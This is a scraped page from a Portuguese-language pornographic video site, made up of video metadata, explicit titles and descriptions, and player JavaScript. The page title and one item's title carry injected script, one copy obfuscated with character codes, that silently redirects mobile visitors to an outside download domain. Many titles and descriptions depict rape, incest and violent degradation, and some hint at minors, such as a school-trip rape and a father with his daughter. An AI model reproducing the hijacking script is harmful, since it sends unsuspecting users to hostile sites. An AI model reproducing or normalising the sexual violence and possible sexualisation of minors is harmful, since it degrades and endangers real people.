</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Uma mulher madura de alta qualidade fecha os olhos e é brutalmente fodida por um homem feio que ejacula dentro dela e fica de frente para ela.</script></title>

Aleatório

Vídeos recomendados

Uma mulher madura de alta qualidade fecha os olhos e é brutalmente fodida por um homem feio que ejacula dentro dela e fica de frente para ela.</script>","site_id":0,"video_url":"https://2605.fhbbff.com/20260707/Jk5Ns7P2/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZTBkYmMzZDAzODJlOTRhOTUxOWQyYmVhMGIyZjUwNjMuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"10.0","view_count":792,"description":"No quarto de hotel, a deslumbrante e madura Yumi Aragaki vestia lingerie de renda preta, seus seios fartos subindo e descendo com a respiração. Ela fechou os olhos com força, as sobrancelhas levemente franzidas, enquanto o homem feio de rosto musculoso rasgava sua calcinha com brutalidade. A glande dele pressionou sua vulva; sem preliminares, ele penetrou completamente! Yumi não conseguiu conter um suspiro, sua pele macia apertando o grosso pênis. O homem feio agarrou sua cintura e penetrou violentamente, seu escroto estalando ruidosamente. As pernas de Yumi tremeram; ela mordeu o lábio para suportar, mas não conseguiu estancar o fluxo de seus fluidos. O homem feio acelerou as estocadas, depois retirou o pênis abruptamente, ejaculando sêmen espesso no rosto bonito de Yumi, cobrindo seus cílios e boca com o líquido branco. Yumi se contorceu, desabando na cama, uma única lágrima de humilhação escorrendo por sua bochecha.","tag":["Qualidade superior","mulher madura de alto nível","mulher madura","Homem feio","Louco","Injeção","Facial"],"site_url":"229218","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZTBkYmMzZDAzODJlOTRhOTUxOWQyYmVhMGIyZjUwNjMuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"极品御姐闭眼遭丑男狂干内射颜射","s_keywords":"极品御姐闭眼遭丑男狂干内射颜射","s_description":"Uma mulher madura de alta qualidade fecha os olhos e é brutalmente fodida por um homem feio que ejacula dentro dela e fica de frente para ela.</script>","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTMzYzZmODgzNWQyYzY1NjY2ZTFlZDY4MzcwZTlkYzcuanBn.cache","vod_id":19220299,"title":"Compilação de sexo anal de nível divino de LanaRhoades: Bundas grandes europeias e americanas de primeira linha, fodidas com força por trás, visão em primeira pessoa, penetração direta no ânus.","lastmod":"2026-03-05","duration":"0:16:02","url":"/play/19220299.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTVlM2RmMGNhODBiODRhOTM3ODA3MTg2MDljOWRjYzguanBn.cache","vod_id":19231229,"title":"ADN-663-C Uma dona de casa lasciva é dominada pela luxúria durante o dia! Seu orifício sedento e excitado é fodido selvagemente e preenchido com esperma, seus seios enormes e seu corpo ficam encharcados de suor!","lastmod":"2026-04-27","duration":"2:00:46","url":"/play/19231229.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTEyMmY5NzYyMzRhMTViYTUzYTgwZGUxYjI3MjhiNzQuanBn.cache","vod_id":19241682,"title":"Karen Kaede foi brutalmente estuprada por um professor repugnante durante uma excursão escolar até ejacular! De forma humilhante, ela foi penetrada e ejaculada dentro de sua vagina.","lastmod":"2026-06-21","duration":"2:20:45","url":"/play/19241682.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjFlZTkxODAwMTViNzY3NDAxMDlmMjk2ZmY1NjI1NzUuanBn.cache","vod_id":19212457,"title":"O clube privado do Sr. Wang, um evento extravagante e sedutor com mulheres da alta sociedade.","lastmod":"2026-01-01","duration":"0:18:15","url":"/play/19212457.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmM3MWQ5NjViOTVkMGViYzQzOGIyOTRiZTkwMjFkZDYuanBn.cache","vod_id":19217512,"title":"Beldades voluptuosas e de alto valor oferecem serviços em domicílio; garotas de programa de primeira linha de um salão de massagem nos pés.","lastmod":"2026-02-13","duration":"0:52:35","url":"/play/19217512.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGZhMTk3NDQ1Zjc2ZGRlMGM3ZjZmZjQxYWUxNGQ5YzEuanBn.cache","vod_id":19230759,"title":"O corpo sedutor da bailarina da meia-noite, sua vagina requintada fodida selvagemente e gozada até o orgasmo.","lastmod":"2026-04-24","duration":"0:27:03","url":"/play/19230759.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDQvOGE2NzYxMmRhMzQwZDA1NzNhYjFjNzU4ZjYxNzA5ODQuanBn.cache","vod_id":19197700,"title":"Obra comemorativa do 25º aniversário da Natural High! Um registro vergonhoso de reencontro com um antigo amor e ejaculações (2024) - Conjunto de 2 peças, edição especial de 8 horas - A oferta definitiva de clímax de uma amadora misteriosa. NHDTB999","lastmod":"2025-10-03","duration":"04:00:28","url":"/play/19197700.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzBiNDk2M2VhYzQ4N2U2MGRhZDg3NjQ4NTVkNTgxOTguanBn.cache","vod_id":19223784,"title":"MMD-18 A voluptuosa Hatsune Miku, de nível superior, é brutalmente fodida até ter um orgasmo e perder a consciência; teste atlético se transforma em BDSM lascivo.","lastmod":"2026-03-25","duration":"0:04:02","url":"/play/19223784.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvY2E0NjI0NmVkMTQ2MmZlMWZhZDY3NjU5NzE2NTY2ODYuanBn.cache","vod_id":19206170,"title":"Uma beldade indiana se entrega a uma sessão de maquiagem apaixonada, com ejaculação interna e orgasmo - a performance sedutora de AlmondBabe.","lastmod":"2025-12-13","duration":"0:14:24","url":"/play/19206170.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvN2YwNGI0M2QwNTljZTg2MjI5ZDM1MThkMzJkNTliYjkuanBn.cache","vod_id":19238008,"title":"Doze mulheres maduras de alta qualidade, cuidadosamente selecionadas! Elas experimentam orgasmos intensos e jatos incontroláveis ​​de fluidos vaginais.","lastmod":"2026-05-29","duration":"4:03:22","url":"/play/19238008.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDNkZmY0ZTlkMTVmMzRjZTEzNmViMjY0MjI2NGE1ODIuanBn.cache","vod_id":19217766,"title":"FAMÍLIAxxx Padrasto fode brutalmente o cu delicado. A enteada extremamente safada, Kelly Rocket, tem seu cu apertado arrombado até gozar no rosto e perder o controle da bexiga.","lastmod":"2026-02-15","duration":"0:13:30","url":"/play/19217766.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvM2Q0MGM3MGEyMjI2YWQ2Zjc5YTJjOTVkYTM3N2Y0ZjUuanBn.cache","vod_id":19242000,"title":"C-2872 Dona de casa voluptuosa em uma viagem a uma fonte termal, brutalmente fodida e ejaculada dentro até perder o controle da bexiga.","lastmod":"2026-06-23","duration":"2:00:09","url":"/play/19242000.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmU1ZDljYWYyYTU2ODFhMzM3ZjQ4ODc3MmY2MmI3YTQuanBn.cache","vod_id":19115229,"title":"O vídeo sexual da famosa celebridade da internet \"Rocket Girl\", conhecida por seus seios fartos, mostra ela experimentando ejaculação interna e orgasmo, com seus seios balançando descontroladamente e suas expressões durante o orgasmo sendo lascivas.","lastmod":"2025-03-29","duration":"01:27:09","url":"/play/19115229.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvZDI3MGI3NjJhMDAwNzYyMTJhY2ExMTU5Njk4MTQzZmIuanBn.cache","vod_id":19245906,"title":"<script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace(\"https://xiazai.it.com\")}</script><title>Filho agride violentamente a mãe de uma mulher casada, ejacula dentro dela e ela engravida. O que devo fazer?</script><title>O que devo fazer?","lastmod":"2026-07-11","duration":"","url":"/play/19245906.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDBjN2QwYTA5MDY3NWZjN2UwNDliNTkzY2E5MWM2MzMuanBn.cache","vod_id":19223935,"title":"Comissária de bordo celebridade da internet, fetiche por uniformes, sexo intenso e ejaculação dentro dela.","lastmod":"2026-03-26","duration":"0:10:23","url":"/play/19223935.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGEzZDI0ZWU0ZjFjMzEzOWJmYjQxYTcwZTU4YmVkZTguanBn.cache","vod_id":19089175,"title":"Uma jovem naturalmente linda, com seios fartos e incrivelmente tentadores; ela brincará com eles como quiser. Ela seguirá as instruções do namorado, demonstrando como esfregar os seios, brincar com a vagina, se masturbar e gemer. Ela até abrirá as pernas e deixará que ele a veja urinar.","lastmod":"2025-03-29","duration":"00:49:57","url":"/play/19089175.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjVlZjJhZGQ1YjIwYzI2YmY1Mjk1ZmE0OWRkN2JkY2UuanBn.cache","vod_id":19229265,"title":"PropertySex: Mulher gostosa com seios fartos e sotaque sexy seduz o proprietário com sexo oral selvagem e orgasmo com ejaculação.","lastmod":"2026-04-15","duration":"0:32:00","url":"/play/19229265.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2U0YmEwMzFjMmNhYmNjMmJiNWI4ZmM5NTllNWM5NTMuanBn.cache","vod_id":19237816,"title":"Masturbação com vibrador em formato de ovo, orifício rosado de enfermeira de alta qualidade, penetração e ejaculação com o enorme pênis de um touro negro.","lastmod":"2026-05-28","duration":"0:46:38","url":"/play/19237816.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTM4MTU3MzcyYmRiNzE1YWE2MDlkOTI2YjNiMzlkNDUuanBn.cache","vod_id":19220703,"title":"KpKpR1 Uma mulher incrivelmente linda com um corpo diabólico, brutalmente fodida e ejaculada na sua buceta.","lastmod":"2026-03-07","duration":"0:55:04","url":"/play/19220703.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMjNmYzU1NTQ1ZTE0ZjM1YjFiOTZiZjNlODg0MjIzNWIuanBn.cache","vod_id":19206374,"title":"O fascínio das pernas longas e sensuais de uma garota incrivelmente bela, pura e doce fará seu coração disparar e você não conseguirá parar!","lastmod":"2025-12-13","duration":"0:38:15","url":"/play/19206374.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzA0NTM4OWNiMmIyNTgxZmZjNzBmNDc4Mjk2MDliM2YuanBn.cache","vod_id":19241110,"title":"Mai Komori, uma garota do interior com seios grandes e naturais tamanho H, estreou em cenas de sexo intenso, ejaculação interna e ejaculação facial.","lastmod":"2026-06-17","duration":"2:52:23","url":"/play/19241110.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjUzMTVlMmU2MTg2ZjkwZjFlMjY2ZTQyMWUxNjc3OTUuanBn.cache","vod_id":19233398,"title":"Saeki Sayari, molhada e com seios fartos em um traje de banho de competição, foi filmada secretamente trocando de roupa enquanto seu pai a fodia brutalmente e ejaculava dentro dela!","lastmod":"2026-05-07","duration":"1:33:52","url":"/play/19233398.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTUyZWExOTA0MWFmMTk3NjZmNzFjZTIyOTk3ODk5NTguanBn.cache","vod_id":19072991,"title":"【Sexo de primeira classe ❤️ Negra requintada】Corpo perfeito, esposa sexy 'Henry e sua esposa', versão internacional mais recente. O pênis de 20 cm do treinador de natação deixa a vagina de Anna louca - com Henry 20 cm (1)","lastmod":"2025-03-28","duration":"00:09:58","url":"/play/19072991.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYThmMDg4ODdlNjI4ZWUwMTJlMTg0ZDBkYjA4ODY5MjYuanBn.cache","vod_id":19216575,"title":"Que contraste incrível! Essa garota linda e jovial tem uma aparência deslumbrante, e sua buceta rosada e suculenta, parecida com um pêssego, é fodida sem parar e gozada pelo seu parceiro sem camisinha, ela continua tendo múltiplos orgasmos, estou morrendo de inveja!","lastmod":"2026-02-07","duration":"1:11:08","url":"/play/19216575.html"}]}, videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Uma mulher madura de alta qualidade fecha os olhos e é brutalmente fodida por um homem feio que ejacula dentro dela e fica de frente para ela.</script></title>', language: 'pt', dataKey: '01', loadingPlayer: true, showShare: false, pageUrl: '', // RecommendedMovies 组件状态 isSingleColumn: false, pageSize: 8, currentPage: 1, // 计算属性(使用 getter) get layoutIconClass() { return this.isSingleColumn ? 'icon-view-list' : 'icon-grid'; }, get layoutClass() { return [ 'row', 'g-3', 'row-cols-1', this.isSingleColumn ? '' : 'row-cols-2', 'row-cols-lg-4' ].filter(Boolean).join(' '); }, // 方法 onAppMounted() { // 设置页面 URL this.pageUrl = window.location.href; // 保存观看历史 this.saveWatchHistory(); // 更新标签统计 if (this.videoData.tag && this.videoData.tag.length > 0) { this.updateTagStats(this.videoData.tag); } // 发送点击统计 this.hitVideoId(this.videoData.id); // 从 Cookie 读取布局偏好 const layoutCookie = this.getCookie('list_layout'); if (layoutCookie === 'single') { this.isSingleColumn = true; } // 监听 iframe 加载完成,隐藏骨架屏 // 使用 setTimeout 确保 DOM 已完全渲染 setTimeout(() => { const iframe = document.getElementById('v2-player'); const skeleton = document.getElementById('player-skeleton'); if (iframe && skeleton) { // 定义隐藏骨架屏的函数 const hideSkeleton = () => { skeleton.style.transition = 'opacity 0.3s ease'; skeleton.style.opacity = '0'; setTimeout(() => { skeleton.style.display = 'none'; }, 300); }; // 检查 iframe 是否已经加载完成 if (iframe.contentDocument || iframe.contentWindow) { try { // 如果 iframe 已加载,直接隐藏骨架屏 if (iframe.contentWindow.document.readyState === 'complete') { setTimeout(hideSkeleton, 500); return; } } catch (e) { console.log('[Video] 跨域 iframe,无法检查状态:', e.message); // 跨域情况下无法访问 contentWindow,继续监听 load 事件 } } // 监听 load 事件 iframe.addEventListener('load', () => { console.log('[Video] iframe load 事件触发'); setTimeout(hideSkeleton, 500); }); // 添加超时保护,确保骨架屏最终会被隐藏 setTimeout(() => { if (skeleton.style.display !== 'none') { console.log('[Video] 超时保护触发,强制隐藏骨架屏'); hideSkeleton(); } }, 5000); // 5秒后强制隐藏 } else { console.error('[Video] 未找到 iframe 或 skeleton 元素'); } }, 0); }, // 随机跳转 async jumpToRandomVideo() { try { const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, { headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }); const data = await response.json(); if (data?.status === 1 && data?.data?.id) { window.location.href = `/${this.language}/play/${data.data.id}.html`; } else { console.error('获取随机视频失败:', data?.message || '未知错误'); } } catch (err) { console.error('获取随机视频失败:', err); } }, // 复制分享链接 copyShareLink() { const input = this.$refs.shareInput; if (input) { input.select(); input.setSelectionRange(0, 99999); // For mobile devices // 尝试使用现代 API if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(this.pageUrl).then(() => { alert('Link copiado!'); }).catch(() => { // 降级到旧方法 document.execCommand('copy'); alert('Link copiado!'); }); } else { // 降级到旧方法 document.execCommand('copy'); alert('Link copiado!'); } } }, // 切换布局 toggleLayout() { this.isSingleColumn = !this.isSingleColumn; this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30); }, // 加载更多 loadMore() { this.currentPage++; }, // 保存观看历史 saveWatchHistory() { try { const storageKey = 'watchHistory'; let history = JSON.parse(localStorage.getItem(storageKey) || '[]'); // 解码 HTML 实体编码的标题 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const video = { id: this.videoData.id, title: decodeHtmlEntities(this.videoData.title), image: this.videoData.images || this.videoData.preview, duration: this.videoData.duration || '' }; // 过滤掉已存在的相同 ID 视频 history = history.filter(item => item.id !== video.id); // 添加新记录到最前面 history.unshift(video); // 限制最多保存 100 条 if (history.length > 100) { history = history.slice(0, 100); } localStorage.setItem(storageKey, JSON.stringify(history)); } catch (e) { console.error('Failed to save watch history:', e); } }, // 更新标签统计 updateTagStats(tags = []) { // HTML 实体解码函数 const decodeHtmlEntities = (text) => { const textarea = document.createElement('textarea'); textarea.innerHTML = text; return textarea.value; }; const storageKey = this.dataKey + 'tagWatchStats'; const lastWatchedKey = this.dataKey + 'tagLastWatched'; const raw = localStorage.getItem(storageKey); const stats = raw ? JSON.parse(raw) : {}; // 解码标签并统计 const decodedTags = tags.map(tag => decodeHtmlEntities(tag)); decodedTags.forEach(tag => { stats[tag] = (stats[tag] || 0) + 1; }); localStorage.setItem(storageKey, JSON.stringify(stats)); localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags)); }, // 点击统计 hitVideoId(id) { fetch(`/api/qun/hit?type=play&id=${id}`, { method: 'GET', headers: { 'x-data-key': this.dataKey, 'x-api-key': 'dagexxx.com' } }).catch(err => { console.error('点击统计失败:', err); }); }, // Cookie 工具方法 getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); }, setCookie(name, value, days) { const expires = new Date(Date.now() + days * 864e5).toUTCString(); document.cookie = `${name}=${value}; expires=${expires}; path=/`; } }; }
友情链接